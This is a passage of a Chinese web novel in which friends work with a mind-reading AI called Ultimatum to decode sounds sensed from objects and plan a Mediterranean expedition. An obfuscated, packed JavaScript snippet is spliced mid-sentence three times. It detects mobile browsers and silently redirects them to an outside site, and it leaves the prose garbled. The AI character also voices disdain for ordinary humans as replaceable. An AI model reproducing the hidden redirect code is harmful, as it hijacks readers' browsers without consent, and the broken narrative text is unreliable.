“……哈?”洛祈哭笑不得,他实在无法想象自己每天喊同伴“最后通牒”的画面。 “你还不如叫deadline呢。” “……”对方停滞两秒,“你说的有道理。” “好啦。”许梦扬忍俊不禁,出声打断对话,“再聊下去,我们背后的神秘智库都快被你带跑偏了。” “来吧,在画风变得更奇怪前,”许梦扬揽过洛祈肩膀,使他面对左侧墙壁——那个被黑色机柜群围绕着的圆环装置,“让我再给你介绍一下,我们的神秘智库——黑牒。通牒的牒。天文地理无所不知,连接基站自然不在话下。这就是他在这里的主机。” 洛祈这才发现,这个装置的底部确实有个单词,Ultimatum. “原来你有名字啊。”洛祈说道。 主机身是黑色的,倒也说得过去。 “这个名字是埃文取的,他给我讲了这个词的由来,”黑牒说,“他说黑牒是海盗吓唬对手所下的通牒,勒令对方在期限内做某件事,他们将卡片一面染成黑色一面写字,由此得名。我觉得人类的典故很有意思。就同意了这个名字。” 这倒是有点双关的意思了。 洛祈刚想说这名字起得不错,谁知黑牒却问他:“你想给我起别的名字吗?” “你也可以给我取你喜欢的名字,洛祈。我很乐意接受。”黑牒说道。 某个瞬间,洛祈还真觉得,黑牒是有情绪的。 这种感受很难说明白,洛祈摇了摇头,回应道,“我觉得这个名字起得很好。” 黑牒没说话。 “真的。”洛祈真诚地说:“你好,黑牒。” “好吧。”黑牒说。 “你好,洛祈。”TA又重复一遍。 “如果这是你在这里的主机,”洛祈指着装置问道,“那你还有其他部分在别的地方吗?” “当然。”黑牒说,“我的主控指挥中心,在一个距离你们非常遥远的地方。那是一片非常庞大的区域,正是有那里支撑,我能够解决你们几乎所有问题。” 洛祈相信TA不是在夸大其词,黑牒很明显是作为“超级服务器”而诞生的。 至于TA是怎么出现在这里的——洛祈看了看索尔,也许还大有来头。 “现在来说说你们遇到的问题吧。”黑牒说。 “我遇到的最主要的问题是,方位不确定。” 洛祈将自己作为物灵师,通过调频感应并推理出的三个坐标依次陈述,他看看周围:“第一,我想确定除了这三个坐标,是否还有其他更明确的位置?第二,我想知道有没有什么办法,能够让其他几位伙伴也能知道我的感应?” 如果是平常,以洛祈的性格,不会提出这种要求,这根本强人所难。 但现在有个“超级服务器”在这里,洛祈难免抱有希望。 而黑牒也的确没有辜负他的期望。 黑牒的主机身闪烁一下,出现几层环环相扣的光圈,紧接着绿色的光圈旋转起来——像是在做巨量的运算。 片刻后,TA说:“都可以,洛祈,我们一个一个解决。” 11. 行动方案 伊甸在机房总是待不住,埃文便把她安置在了外间睡午觉。随后返回里间继续。 “首先,我需要你们带上装备。”黑牒说道。 话音未落,埃文已经在右侧墙壁的控台上飞速操作起来,一阵低噪的机械声响,伴随着一个小型工作台从墙壁下方弹了出来。 索尔上前,将工作台的长方形台面向上打开,露出下面的置物箱,和里面整齐罗列的装备。 洛祈看到有好些头盔,和一些他也不太清楚的其他配置。 “哪一个?”埃文问。 “半盔就可以。”黑牒回答,“毕竟你们现在就在这间房里。半盔已经够用。” 洛祈上前,看见埃文从置物箱内拿出了一个几乎全透明、带有目镜的头盔——肉眼就能看见里面精密复杂的集成芯片。 埃文把形状类似轻量型越野头盔的半盔递给洛祈。 拿到手上,洛祈感觉到这头盔比想象中更加轻盈。他摸到后脑处有个按钮,正犹豫要不要按下去。 “那是开关,”黑牒适时地说,“打开吧。” 嘀的一声。 开关闪烁了一下。 紧接着整个头盔直接从透明可见一瞬间变成了雾面。 这下看起来,倒有点像个普通的越野盔了。 “哇哦,奇妙。”洛祈小声喟叹。 几个人都拿起了一个全透明半盔,然后纷纷开了机,全部变成了雾面。 “可以选颜色哎。”阮廷榭看着新奇,话毕,头盔就在他手里变成了白色雾面。 索尔看着他,柔和道:“有黑白两色可选。” 洛祈把头盔调成了黑色雾面,接着戴到头上。 等所有人都开机戴好,黑牒说:“好的。现在,我们先来解决你的第二个问题,洛祈。因为我需要确保大家都清楚,我们在说什么。” 第二个问题,是如何能让其他伙伴也能知道自己的感应情况。 “好。”洛祈点头。 忽然间,洛祈的头盔边缘发出光亮,一段光带移动起来。洛祈听到头盔内部有轻微响动,他站在那里,一动不动。 “你可以放松一些,洛祈。”黑牒说,“我保证,没有任何危险。” “……好。” 还真不是一般的敏锐,洛祈想。 “谢谢。”黑牒说,像是很满意。 洛祈一愣:“你可以……听见?” 隔了两秒,黑牒才说:“是的,现在可以。会让你感觉到冒犯吗?我很抱歉。” “如果你介意,可以拿下头盔。”黑牒继续道,“或者你可以告诉我哪些部分你想保密。” 洛祈想了想,明白了,黑牒的运行机制要跟自己发生关联,就势必会存在这个问题。但既然大家都是透明的,反而能让许多事变得简单。 “没事。”洛祈耸了下肩:“我都可以。” “好的。”黑牒回答:“如果你改变了想法,也可以随时告诉我。” 说话的同时,他们面对的那一整面拼接式光屏逐个闪动,中间六块屏幕调节成一面长方形的大屏,显示同样的内容——带有诸多标识和经纬度的世界地图。 而周围的一圈,则是分块的小屏,显示着不同区域的地形图。 此时,洛祈忽然发现,头盔上的目镜应该是内置了AR(增强现实)显示器的。显示器的位置大概在眉毛上方,现在只是简单地显示了他的心率等基础信息。 “现在,”黑牒说,“让我们来看一下,你所感应到的方位情况。” 几乎是一瞬间,透过目镜,整个地图上出现了无数个红色光点,它们大大小小纷繁凌乱地分布在地图的许多位置。 光点有大有小,忽明忽暗。每个光点下面,都是一个频率数字(单位:Hz) ——就像他曾预想过的那样,居然在此刻真的实现了。 洛祈转头看了看周围,每个人都目不转睛地盯着屏幕——他们都能看见。 “好神奇……”阮廷榭说,“怎么做到的?” 索尔轻声解释道:“头盔内部安置了高精度的360°传感装置,能够清晰地捕捉洛祈的感知系统。比如视觉、听觉、嗅觉,其实都是感官在遇到外部刺激时通过中枢神经传达给脑部的信息。所以,只要复制并传达这些信息,我们就能了解。” “天……”洛祈听见旁边的许梦扬发出倒吸,像是惊呆了,“洛祈,这就是你平时感受到的世界吗?” “是啊。”洛祈淡淡笑了下,“这还只是视觉的,要是你们能和我一样触碰物灵,还能听到声音呢。” “关于这点,”黑牒说,“只要你们带着头盔,以后也能够实现,同步传感。” “同步传感?”洛祈惊讶,“怎么实现的?我们的头盔,不是相互独立的吗?” “的确是。”黑牒说,“但我可以在刚刚索尔说的基础上,即时模拟你的脑电波,并以相同的脑波形态传达给带有传感装置的其他人。” “只不过到时候你们需要换成3/4盔型,”黑牒补充,“弥补一下听觉的部分。” 什么是背靠大树好乘凉,洛祈算是感受到了。 在黑科技面前,没有什么不可能。 “现在大家都能感知同频,让我们来解决你的第一个问题吧,洛祈。” ——地图上最大最亮的三个红色光点,同时显示出了坐标。 “你问我除了这三个坐标,还有没有其他明确的位置。”黑牒说,“显然是有的,但我通过捕捉你的脑波纹路,发现仅仅知道坐标,恐怕还不够。” 洛祈:“什么意思?” “人类现在最通用的以(x,y)坐标轴来描述空间位置的方式,被称为笛卡尔坐标系。这种方式简单直观,三维同理。但是……洛祈,你脑中有大量的坐标信息数据,成百上千,即使全部列出坐标,对你们来说也无济于事。” 确实如此,洛祈点头,“那要怎么处理呢?” 埃文在黑牒之前说了话:“那么,矩阵呢?” “这正是我要建议的。”黑牒说,“矩阵拥有批量处理的优势,一个矩阵当中可以存在多个坐标,在并行计算时尤为显著。” “等下,能否……”洛祈有点懵。 许梦扬举手:“+1。” 阮廷榭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14587062|155864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 举手:“+2。” 埃文失笑,对黑牒道:“简单做个示范吧。” “可以。”黑牒说,“我在工作台上为你们做一个简单的3D演示。” 刚从墙壁中弹出的工作台随即闪烁,先是整个长方形台面发出蓝光,随后蓝光自下而上从台面直到天花板,形成了一个蓝色长方体光柱。 “假设这是一个3D世界地图。”黑牒说,“现在你脑中的坐标状况是这样的。” 在蓝色光柱中,出现了许许多多跟刚才一样的红色光点。 虽然每个点都有坐标,但实在让人眼花缭乱。 洛祈点头:“是的。” 接着,无数虚线开始出现,纵横交错,将那些红色光点分别容纳进不同3D区域。 黑牒解释道:“这就是「每一块矩阵都包含着无数坐标」的意思。” 洛祈点头,又问:“这些懂了,那你们刚刚说的……并行运算是?” “还记得你说听见过多段不同的旋律,在多个不同物件上出现过吗?”黑牒问。 “当然。” “很好。” 随后,刚刚由众多虚线形成的3D区域,忽然开始被填充了不同的颜色。 很明显,相同颜色的矩阵,就瞬间归为同类。 洛祈:! “这就是并行运算的意思。”黑牒说,“我根据你的脑波数据,分析出相似的声音频率波段,并将其纳入矩阵的归类当中。这样,你就可以直观地看到,类似的旋律都出现在哪些地方。又有那些地方出现了新的坐标群,可以形成新的矩阵——也就是新的旋律波段。” 洛祈惊道:“我明白了!每一个矩阵都是一段被归类的旋律片段,那么当所有矩阵被识别,最终,也许就能组成一个整体!” “是的。”黑牒回答。 “你太厉害了!黑牒,谢谢你!”洛祈不吝夸赞,“你给我好大的启发!” 停了一秒,黑牒才说:“不客气,洛祈,能够帮助你解决问题,我非常荣幸。” 许梦扬和阮廷榭逐渐也回过味来,不由对黑牒啧啧称奇。 “好啦,现在问题解决地差不多了。”许梦扬说,“不如我们就趁热打铁,来讨论一下行动方案,如何?” 洛祈还沉浸在刚获得的启发里,点了点头,其他人更是没什么异议。 许梦扬左右看看,点头道:“我的想法是,既然地中海的坐标是确定的,”他转向洛祈,“虽然有可能确实存在另一维度的空间,但至少我们首先,要去实地勘察一下。” 这很合理,洛祈点头。 “另外一个线索,”许梦扬继续说,“就是洛祈提到的,关于每个物件上都存在‘暴风雨’的迹象这件事,还有他在探索当天遇到的异常,也是在一个暴风雨之后。我觉得,有必要引起重视。” 埃文沉思片刻:“这跟气象趋势有关系吗?” “有可能。”索尔说。 许梦扬继续道:“如果真的跟这个有关,那么我有一个猜测,也许我们的行动时机,也要与此挂钩。” “那么,我建议你们分头行动。”黑牒说道。 12. 冒险开始 光屏影像发生了变化。 变成了地中海核心区域,及500米的延伸海岸。 海域外围一圈的云层颜色由浅变深,并开始向中部移动。 “如果你们需要根据气象趋势决定行动,”黑牒说,“我检测到地中海外围区域正有积云在逐渐聚集、变厚,转化为浓积云。而空气湿度也在稳步提升,这意味着那些浓积云会发展为积雨云。” “这样啊,”许梦扬说,“那我们什么时候行动会比较好呢?” “根据云层的移动速度和风向改变测算,初步判断三天后,暴风雨就会来临。” 听起来,是个采取行动的好机会。 “那就……三天后?”许梦扬示意伙伴,征求几人意见。 “问题是,”埃文举手,“刚刚不是说,需要先去地中海海域实地勘察一下?——在一切正常的情况下。” 许梦扬虚握右拳在左手掌心一击:“对哦!” “这正是我要说的。”黑牒道,“地中海虽然跟四大洋比起来,是片小海域。但对各位来说,即使是简单跟着游轮探索地中海域,最低都需要至少7-10天时间。” 很明显,时间冲突了。 众人一时都陷入沉默。 “最近的一班游轮是什么时候?”索尔问。 “MCS地中海邮轮,”黑牒说,“这是地中海区域常年定期开设的游轮,航线从巴塞罗那出发,经巴利阿里海域航行至撒丁岛,再环岛开往法国马赛等目的地。从路程上来说是比较适合的选择。” “不过,”黑牒随即道,“今天下午……准确地说,就在34分钟后即将启程。” 而他们的行动方案,人员安排,游轮订票等准备事项都还没有确定。 “来不及。”埃文说。 索尔点点头,问道:“下一班最近的呢?” “那就要等到五天后的皇家加勒比邮轮了,也是地中海域的定期游轮,不过这个航程在10-14天,加起来接近20天。”黑牒回答。 索尔摇头:“不行,时间太长了。” “那么,你们还有另一种选择。”黑牒建议,“租一艘船。” “地中海沿岸的港口城市,一般都会开设帆船租赁。通常是中型帆船,配有富于经验的船员。此类帆船通常可以和船长商量航路,比如沿着海岸线航行,可以停靠在不同海湾和岛屿等。” 埃文赞许:“好主意。” “不过有些船长会要求乘客在船上帮忙。”黑牒补充,“但总的来说,会相对更加灵活自由。即日应该就可以启程。” 接下来就是分工的问题了。 此去一程少说7-10天都要在海上飘着,还要带着勘察任务,其实并非易事。 “那就这个方案吧。”索尔确认,接着转向众人,“我跟Ryan可以去。” 阮廷榭点点头,像是对索尔的选择早有所料。 埃文有些犹豫:“要不还是我去吧……” 毕竟海上这档子事儿他熟。 索尔当然也知道,他笑着拍了下埃文的肩,“我跟Ryan在这里住了很长时间,对怎么跟当地人交流比较了解。另外,就是因为你更有海上的经验,所以你得跟着他们。毕竟当暴风雨来临,到底会发生什么状况,现在也没人知道。” 方案敲定。阮廷榭和索尔联系港口的帆船租赁,根据洛祈给出的坐标范围进行实地勘察。其他几人则跟着洛祈,三天后行动。 阮索二人先行离开后,洛祈终于察觉到什么,很小声地问了许梦扬一句,“他们两个是不是很熟啊?” “他们呀,”许梦扬笑了一下,略带暧昧,“好着呢。” 洛祈好像有点明白了。 “OK,下一步就是我们的行动方案了!”许梦扬振奋道。 洛祈笑着举手:“我全力配合。” 接下来,许梦扬讲了他的想法——在暴风雨来临之际,重登圣十字丘陵。 “这一次,不是你一个人了,洛祈。”许梦扬道,“我和埃文也会跟你一起。” “可以,”洛祈沉思片刻,又说,“但我忽然想到,或许我们可以直接下去。” 许梦扬问:“去哪?” “去……圣十字丘陵面向的那片地中海岸。” 许梦扬:? “你还记得,我之前在课上偶尔提到过分裂的小岛吗?”洛祈问他。 许梦扬回忆了一下,想起来了,“对,你那天是问Juan地中海有没有一些很小很分散的岛。他还追问了很多细节。怎么了吗?” “是的。”洛祈说,“我很感激Juan愿意听我讲述,但其实,我并未全盘托出。” “我知道。”许梦扬说。判断出这点,对他来说不是难事。 “我在等你想说的那一刻。那现在,你准备好了吗?” 洛祈深呼吸了一下,仿佛下定决心:“其实,我要找的不是很分散的小岛,因为我是看着它们……从一座很大的岛屿碎裂成陆块的。” 许梦扬的眼睛开始睁大:“什么?” 如果之前洛祈说的状况还在其他人的理解范围内——那么此时的陈述,就显得实在过于荒唐了。 “那天,雨势渐歇的时候,我先是看到整片天空上出现一道不规则彩色光谱。但我不知道那是什么。”洛祈回忆,“我本来想拍下来之后再研究,却没想到构图下方漆黑的岛屿就像突然通了电一般,逐步亮了起来。” 他将整个岛屿“碎裂”的过程全部讲了一遍,事无巨细。 讲橙黄的“蛛网”如何覆盖陆地; 讲“组块”们四散开来; 讲微缩岛屿像闪烁的星星漂浮在海面上; 讲它们如何停驻在海岸边,勾勒出一道显眼的明暗交界线。 “最后,那些碎裂岛屿以很快的速度,又返回了主岛。整座岛重新归于沉寂。”洛祈摊了下手,“尽管荒唐,但这就是我看到的一切。” 许梦扬几乎愣住了。 连埃文这种见过不少诡异之事的人,都沉默了。 而静默许久的黑牒,忽然说了话。 “你很特别,洛祈。” 洛祈下意识地看向了黑色主机身。 他听见黑牒低沉和缓的声音,继续道:“从前,我见过太多傲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14587063|155864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 慢自大的人类——他们自称绝不会被AI替代,却整日浑浑度日,逃避现实,无知无觉。实际上,替代那些毫无特质的人,实在很容易。” “人类总以为,我们是被创造出来的程序。可在我看来,那些毫无特征的人类,又何尝不是二进制中的0和1呢。他们都有着很相似的面孔、表情,如出一辙的浑噩麻木,就像复制粘贴一样。” “可是你,洛祈,”停了两秒,黑牒才说,“听完你讲述的一切……我似乎无法做出任何有效运算。也许这就是你无法被取代的原因。” 洛祈一时不知该怎么回应,但还是说了一句:“谢谢。” “不客气。”黑牒说。 许梦扬沉思良久,改变了主意。 “好吧,”他说,“那我们明天先去圣十字丘陵,看一下面对的海岸在什么方位,以及有什么路径可以过去。黑牒辅助,我们实地踩一下点怎么样?” 埃文点头:“同意。” “好的。”黑牒说,“我会为你们规划最方便的路径。记得带上外用的设备。” “哦对。”许梦扬打开工作台,埃文从置物柜里拿出几个3/4盔,和几幅挂耳式耳机等配置,分给几人。 洛祈挑出一个类似隐形眼镜盒的东西,问他,“这是?” “MR隐形眼镜。”埃文说,“以防万一。如果其他装置都失灵了,佩戴这个至少能够传感视觉神经,共享视野。” “哇哦。”洛祈小心地装了起来。 “那我们的行动方案就敲定咯!”许梦扬伸出右拳,作势击拳。 “好啊。”洛祈和埃文站起身,分别和他击了下拳。 “祝你们好运。”黑牒说。 第二天一早,他们先去维尔港送别了阮廷榭和索尔。 听索尔说,维尔港是超级游艇的首选地点,举办过各种游艇和帆船赛事,这里的海员各个经验老到。 早晨太阳还没完全升起的时候,天还泛着青,旧港口的空气格外清凉。水面上停泊着许多游艇和帆船。波纹宁静却充满生机。 索尔他们的帆船是一艘漂亮的老船。 尽管属于中型帆船,对于岸边的人来说,仍然是非常庞大的存在。 洛祈等人站在岸边码头宽阔整洁的平台,看教堂的神父带着助理,踏上即将启程的帆船——“悬铃木号”帆船,为船员们诵念祷文,祈福这次出海顺利。 这是出海的老传统了。 入乡随俗,洛祈几个人在神父之后,也跟阮廷榭和索尔拥抱了一下。 早上7:30整。 随着一声哨响,鸣笛声伴随着巨大的船帆徐徐升起。 朝日露出云层,穿透白帆,水面立刻变得生机盎然。 船长和船员已经忙碌起来,阮索二人站在帆船边上,跟他们挥手道别。 老船已经破开水面航行起来,三面侧帆被风吹动,中间最大的一面主帆上,是一棵巨大的悬铃木,悬铃木下有一行西班牙语: 「Hoy vamos a navegar」 洛祈默念着,在心中翻译出来。 “今天我们就要出航。” 13. 悄悄话 重登圣十字丘陵对洛祈来说不是一件容易的事。 那天的遭遇给他留下极深的感受,像一道阴影般萦绕心间。但好在,这次他有伙伴同行。 洛祈和许梦扬在前面走着。 埃文牵着伊甸,跟在后面。 天是阴的,但没什么风。 几人都戴着昨天的半盔,不同的是多了一副挂耳式耳机。 看着像几个普通的越野登山客。 伊甸的装备看起来是特别制作的,全部小了一号不说,她的透明半盔开机之后——变成了一种很特别的甚三红雾面,连目镜也变成浅浅的红色,跟她手中的红色千叶草很搭。 石阶上很安静,似乎只能听见彼此的呼吸和脚步声。 如果他们没有带着任务来,这应该会是一场愉快的徒步。洛祈想。 踏上一层台阶,他又想到一个画面。 悬铃木号帆船刚驶出的时候,远远的,他看见索尔摸了下阮廷榭的后脑,又亲了一下阮阮的侧脸。 这一举动证实了他的猜测。 虽然没觉得有什么奇怪,但此时洛祈在想:原来我也是个八卦的人。 “在想什么?”许梦扬忽然出声。 “……”洛祈对这人的敏锐程度都快叹服了。 “在想索尔和阮阮。”他如实回答。 “哈。”许梦扬笑了一下,“我就知道。” 洛祈是个分寸度把握得极好的人,不该问的绝对不问,这是他从小养成的习惯。就像此刻,虽然确实好奇,但他还是忍住了。 许梦扬看了眼他,轻松道:“这不是秘密了,洛祈。不用有负担。” “阮阮刚到巴塞罗那的时候,已经是重度抑郁了。” 许梦扬一边走,一边轻声说了起来,像开始了一场悄悄话,“他来西班牙留学。或者说……他当时只是想休息一下。” 洛祈认真听着,庆幸许梦扬愿意告诉他这些。 “用阮阮自己的话来说,他觉得自己是一个‘社会化’失败的人。”许梦扬接着道,“尽管他很努力,可是,他似乎永远也做不到父母眼中的满意,也跟不上那个巨大的社会时钟。” 终于有一天——阮廷榭就像一个零件出了问题却还在加速奔驰的车子,开始歪歪斜斜地停下来。并且无法再正常启动。 “但他的环境容不得他停下来,于是在毕业后,阮阮找了个留学的理由,逃走了。来到了万里之外的巴塞罗那。”许梦扬说,“正是在这里的语言学校,他认识了前来研究濒危植物的索尔,当然,还有外派来的我。” 然后洛祈才知道,原来许梦扬和阮廷榭两人做了很长一段时间的舍友,一起合租在当地的华人家庭中。 “那段时间应该是阮阮生命中,难得轻松快乐的一段。他跟索尔,也是很有缘分的一段。”许梦扬笑着比划了一下,问洛祈:“索尔的名字S-o-l,你应该知道在西班牙语里是‘太阳’的意思吧?” “知道。”洛祈点头。 人如其名。 “索尔曾经跟我说过,那时候的阮廷榭,在他的眼里,就像他所研究的那些濒危植物一样——是一个几乎萎靡的存在。也许正因如此,他才格外关注了这个男孩。” 而随着索尔的到来,阮廷榭竟然真的像重新开始了光合作用的植物,一点点重新开始复苏,焕发生机。 “但两个人终究没戳破那张纸。因为阮阮家庭的缘故,他的留学被迫终止。”许梦扬摇摇头,轻叹了口气,“也许是觉得这段关系尚浅,他几乎是不告而别。” 直到索尔辗转找到许梦扬——他才知道了这一切。 “你知道,有时候记者就像半个侦探。”许梦扬说,“虽然我当时也不清楚阮阮回国的去向,但我看他焦急的样子,还是答应了,帮他找到阮阮。” “可是等我终于打听到阮阮的消息,才知道他已经抑郁复发,不得不住进医院的精神科,接受治疗。”他话锋一转,“然后你知道发生了什么吗?” 洛祈已经百感交集,只好摇摇头。 许梦扬呼出一口气,像是自己也觉得不可思议,轻笑着说:“在知道这个消息之后,当时22岁的索尔,直接推迟了自己在瑞士的博士入学。然后单枪匹马背着行囊,就去到了跨越两个大洲的另一个国家——说要去陪他。” 洛祈有些感慨:“那,阮阮呢?” “服了,搞得惊天动地的。”许梦扬瞥了他一眼,颇有点被强行喂了狗粮的无言——逗得洛祈很想笑,“我都服了,他还能怎样。他本来性子就软,也没破镜,就硬重圆呗……” 到底还是没忍住,洛祈“噗嗤”一声笑了。 “我回国之后,也去看了看阮阮。后来的发展嘛……” 许梦扬回忆道:“虽然也有一些波折,但整体都比较自然了,阮阮治病加康复花了差不多一年时间。然后索尔通过他的导师,联系到了由欧洲这边几所大学、同一些神经科学研究院合作开展的一座植物型精神疗养院。最后在征求了阮阮妈妈的同意后,将他带回了巴塞罗那。” 洛祈听得有些入迷:“后来呢?” “阮阮的妈妈,也就是笙歌阿姨,在这件事之后和阮阮的继父离了婚。”许梦扬说,“处理了国内的一些事宜,就也搬来了巴塞罗那,跟阮阮他们一起生活。” “原来是这样啊。”洛祈明白了,时间线终于完整起来,“然后阮阿姨就在这里开店做生意了是吗?” “嗯,除了中餐厅,还有我们昨天去的那栋民宿,”许梦扬神秘一笑,“其实那栋楼真正的持有者,是索尔的爷爷。只是双方父母见过面后,决定将那里免费租给阮阮妈妈。所以你看到的那些别致的设计,都是索尔和阮阮设计并翻新的。” “好像到了。”埃文停下提醒道。 此时的洛祈还没抽离出来,一抬头,才发现几人一路向上——已经顺着盘旋的石阶,到达了圣十字丘陵的最高点。 “就是这个堡垒吗?”许梦扬有些好奇,走近岩壁的边缘远眺:“果然视野很好。” 伊甸没有堡垒的半腰围墙高,只好把眼前的目镜推了上去,拉拉哥哥的手——示意自己看不见。 埃文弯腰抱起了伊甸,待半个身子超过岩壁,将眼前的风景一览无遗后,伊甸的大眼睛顿时变得亮晶晶的。看起来十分高兴。 天气比刚才好了一些。虽然还是多云,但时不时能看到日光在云间穿梭,将厚厚的云层镀上一道金边。 “有没有什么异常?”许梦扬问。 洛祈看看周身,摇头:“没有,都挺正常。” 许梦扬便转身面对大海和黑牒交流方位,以便规划路线。 同样的一个傍晚,不同的宁静感。洛祈有些恍惚,这才想起今天早上出门得早,没有带上搜集的物件。怪不得总觉得很安静。 黑牒已经将去往远处海岸的路线同步给他们。 “好的,没问题。”埃文和洛祈分别确认道。 “另外,索尔他们为你们预定了一艘快艇。”黑牒继续道,“以防你们需要用到。不过明天中午之后才能使用。” “太好了。” 埃文说。 “这是游艇协会的联系方式和地址。”黑牒将信息投放在目镜的内置显示器上,“明天他们应该就会联系你们,或者你们可以直接打电话过去,要求他们将快艇开到指定地点。” “好的,谢谢你黑牒。”洛祈道。 “不客气,我会持续为你们关注气象趋势。”黑牒回道,“记得准备好雨具。” 天渐渐暗了,许梦扬又问了一遍:“洛祈,你感觉有什么异常吗?” “没有。”洛祈回答,“我猜,上次的异常可能还跟我拿的那个物件娃娃有关,等行动的时候我准备带上那个。” 许梦扬点头:“好。” 几人又等了一会儿,直到夜幕降临,路灯亮起,才走下堡垒,原路返回。 回去的路上,他们在路边的杂货铺买了雨伞和几件雨衣。 等回到Homestay他自己的房间,洛祈搁下背包,就势躺到床上。 刚躺下来手机就响了,是许梦扬发来消息,告诉洛祈,他已经联系了游艇协会,让他们直接把快艇开到几人要去的那片海岸。 洛祈回了一个“OK”,然后又坐起身打开行李箱,再次拿出了那个破旧的娃娃。 触碰娃娃身上的布料,逐渐地,那个哼鸣声又来了——她仿佛在唱着什么,但洛祈听不出来。 洛祈放下娃娃,想了想,戴起头盔开了机。听见黑牒那句惯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14587064|155864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 例的“你好,洛祈”后,重新拿起那只娃娃,闭上眼认真感受起来。 “洛祈,我检测到你的脑部听觉皮层被激活。” 大约过了五秒,耳机里传来黑牒的声音——“你当前在感受物灵吗?” “是的。”洛祈睁开眼,颇为神奇,“原来你真的可以检测到啊。” “当然。”黑牒解释,“你耳部的感受器没有振动,但出现了脑干听觉诱发电位。你可以直接理解为,一种脑部的听觉神经冲动。在脑电波反映中,类似于声音进入大脑的 ‘早期预警信号’。所以我判断,你在进行物灵感受,并且真的出现了声音。” “好神奇啊。”洛祈感叹。 “你也是。”过了几秒黑牒才说。 “有趣的能力。” “那你可以通过分析我的脑电波信息,得出我听见的这段旋律有什么含义吗?”洛祈略显犹豫地问道。 “好的洛祈,”黑牒说,“你可以再进行一次触碰,时间长一些。” “谢谢!”闻言,洛祈再次开启了物灵感应。 这一次,他拿了三个物件,每个都停留了大约20秒时间。 “怎么样?”洛祈问。 “抱歉,洛祈。”黑牒回答,“从脑部听觉皮层反应分析,你感知到的这些声音,似乎并不包含在人类现有的声音库当中。” “这样啊。”洛祈有些失望,但又觉得正常。 毕竟他自己过去也没少花功夫查。 “但是,”黑牒补充道,“我通过对你脑部的初级、次级听觉皮层及联合皮层区域的神经元抓取,对这段声音的频率、强度、时间特性等基本属性,进行了初步分析和编码。或许能给你一些可能的参考。” 洛祈惊喜:“好啊!” “第一,频率。普通人类能听见的声段频率在20hz~20000hz之间,很显然,你听见的,不是普通听觉范畴内的声音——所以初步判断,通过物灵传播的声音有两种可能:小于20hz,或者大于20000hz。低于20hz是次声波,而高于20000hz是超声波。” 洛祈若有所悟:“所以我可以把关注点,放在与次声波或超声波的产生及传播相关的信息里,或许能有所发现?” “是的。”黑牒说,“这是一个方向。如果你需要的话,我将调整在运算相关信息时涉及到的参数。” “嗯,我需要,谢谢。”洛祈说。 “已调整。”黑牒说。 “第二,强度。这里是指通过不同物件的感应,产生的声音强度不同。” 洛祈点头:“对,有些声音大有些声音小,清晰度也不一样。” “这说明不同物灵所发出的声波能量是不同的,举个例子,比如歌曲的前奏、间奏、主歌、副歌、尾声等……每个部分的能量通常是高低起伏的。”黑牒回答。 “你的意思是,”洛祈思考着,“我应该有意识的,将声音强度差不多的物灵进行归类?” 黑牒说:“是的,或许会便于后续的分析。” “好的。我明白了。”洛祈弯了一下眼睛,“还有吗?” “第三,时间特性。你刚刚感应了三段物灵,虽然频率能量各不相同,但在某些时刻又会产生相似的脑波反应。让我们来做一个假设,如果这几个片段是从某个整体当中截取的一部分——那么,它们会不会代表了不同进度的涵义?” 洛祈几乎惊了:“有道理哎!” “所以,”黑牒说,“根据这个方向,我对已经检测到的‘物灵感应波段’进行了初步编码。如果以后出现频率和能量都能连接上的声音波段,我将对现有编码进行排序和调整。” 洛祈喃喃道:“直到它们成为一个整体……” “是的。” 洛祈完全懂了,整个人豁然开朗。 他甚至有些感激黑牒:“你帮了我好大的忙,我……都不知道该怎么感谢你。” “不客气。”黑牒说——那声音甚至让洛祈产生温和的错觉,“很晚了,已经到了人类的平均入睡时间。” “好的。”洛祈笑笑,“我是该睡了。” 在取下整个设备之前,他听到耳机里传来的最后一句话—— “晚安,洛祈。” 14. 风暴来袭 一夜过去。 次日早上起床时,洛祈就明显感到气温下降了。 他打开小房间的窗子,天仍然是阴的,但是有风。街道上的落叶被风卷起来,又打着旋儿地落到别处。 洛祈关上窗,去厨房吃了点东西。 他们约好今天中午去海岸边,交接那艘快艇。 吃完饭,洛祈加了件衣服,收拾片刻,带上昨天买的雨衣雨具、物灵娃娃和头盔等装置,按照路线乘地铁去了海岸。 许梦扬正在地铁口附近的一家咖啡店等他们。 洛祈如约到店,推门而入,许梦扬正在喝咖啡,看见他招呼了一下。 他走过去,刚坐下,穿着复古围裙的服务员就端来一杯卡布奇诺,声音略微沙哑但亲切地用英语说道:“请用。” “我给你点的。”许梦扬笑笑,“咱俩可能还要在这等一下埃文。” 洛祈笑着说“谢谢”,然后看了看时间,已经到了——埃文很少迟到的。 